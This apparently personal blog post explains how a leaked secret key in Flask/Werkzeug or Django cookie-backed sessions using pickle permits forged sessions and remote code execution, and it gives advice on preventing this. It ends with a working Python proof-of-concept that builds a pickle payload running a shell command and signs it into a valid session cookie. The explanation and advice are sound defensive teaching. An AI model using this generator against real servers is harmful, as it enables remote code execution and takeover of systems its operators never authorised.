Flask is a lovely Python microframework for developing web applications. Based on Werkzeug, one of the features supported are secure cookie-backed sessions. Django is a larger framework that also supports cookie-backed sessions.
In some situations, which the documentation tells you to avoid, this can be used for arbitrary remote code execution, and I built a little proof of concept to show how easy it really is. Before I cause any panic: this is not a new vulnerability of any kind in any software. This is a known risk when using these type of sessions and not following the documentation.
Introduction to sessions
Sessions are a way to allow web applications to keep state with their clients. Cookies are originally intended for keeping state, but they are stored by the client’s web browser, and therefore can be manipulated by the client. This makes cookies very suitable for remembering the language preference of a user, but not so for their username: the client could just change it to some other name and pretend to be another user.
A common way to solve this is to only store a session ID in the client’s cookie. Then, a database on the server, out of reach of the client, maps that session ID to actual data, like the user logged in under that session. The session ID is a long and random string. The client can change their session ID, but as the server will not find a valid session under the new session ID, it will ignore it. This means it is essential to keep the session IDs secret: if I have your session ID, I have full access to your session under your username.
Cookie-backed sessions are sessions which do not require a database on the server side. However, we already established we can’t trust the client, so how can we store session data in a cookie? The trick with these sessions is that the session data is signed with a secret key known only by the server. If the client manipulates the data, the signature is no longer valid, and the session data is rejected.
The session data is not secret anymore: the client has the ability to see all the session data, just not to modify it. In a traditional database-backed session, the client is neither able to see nor modify the data.
However, if this secret key is known to the client, they can generate their own customised session data, and generate a valid signature! This allows the client to manipulate the data in the session any way it chooses to, and the server will be none the wiser. This means it is essential to the server to keep its secret key… a secret.
Remote code execution
Being able to generate arbitrary session data is really bad: depending on what the sessions are used for, they could be used to impersonate users.
But, it gets much worse: Werkzeug and Django before 1.6 use pickle as their object serialisation method. Serialisation is a way to translate complex datastructures, like lists and dictionaries, into a single string of text, which can then be stored in a cookie.
The pickle documentation has a big red warning not to load untrusted data with pickle. The reason is that pickle allows arbitrary code execution when decoding data. This is not an issue when loading data only from a trusted source, like a cookie which you know was generated by trusted code, because it has a valid signature. However, when you fail to protect your secret key, and that signature can be generated by untrusted clients too, it means you allow clients to send you arbitrary data into pickle, allowing them to execute arbitrary code.
What you should do
- Always keep your secret key… secret – do not keep it in source control, for example
- If you use Werkzeug, configure it to use JSON instead of pickle
- If you use Django, only use pickle serialisation for sessions and cookie-backed sessions if you really need to – and in most cases you don’t
I wrote this exploit as a proof of concept, to show how simple it really is. This doesn’t work for Django’s cookie-backed sessions, but modifying it would be simple.
# Arbitrary code execution cookie generator for Flask # secure cookie-backed sessions by Sasha Romijn # Set the proper secret key, run the script and set the # output as the value of your session cookie. # Assumes sha1 hashing, pickle and base64 to be enabled. # This is not a new vulnerability, but an exploit of a known # issue: keep your secret keys secret at all times, and/or # use json encoding for your cookie data, and this will not # affect you, like the documentation recommends: # http://werkzeug.pocoo.org/docs/contrib/securecookie/#security # Inspired by http://nadiana.com/python-pickle-insecure # Based on the secure cookie code from Werkzeug secret_key = 'obUG0QAauhoPQWIz5eCS102KfsDM3rOe/bxtNDtoA0M=' shell_command = 'touch /tmp/haxor' import cPickle as pickle from hmac import new as hmac from hashlib import sha1 as hash_method pdata = "cos\nsystem\n(S'%s'\ntR." % shell_command value = ''.join(pdata.encode('base64').splitlines()).strip() result = "|a=%s" % value mac = hmac(secret_key, result, hash_method) cookie = '%s?%s' % ( mac.digest().encode('base64').strip(), result ) print cookie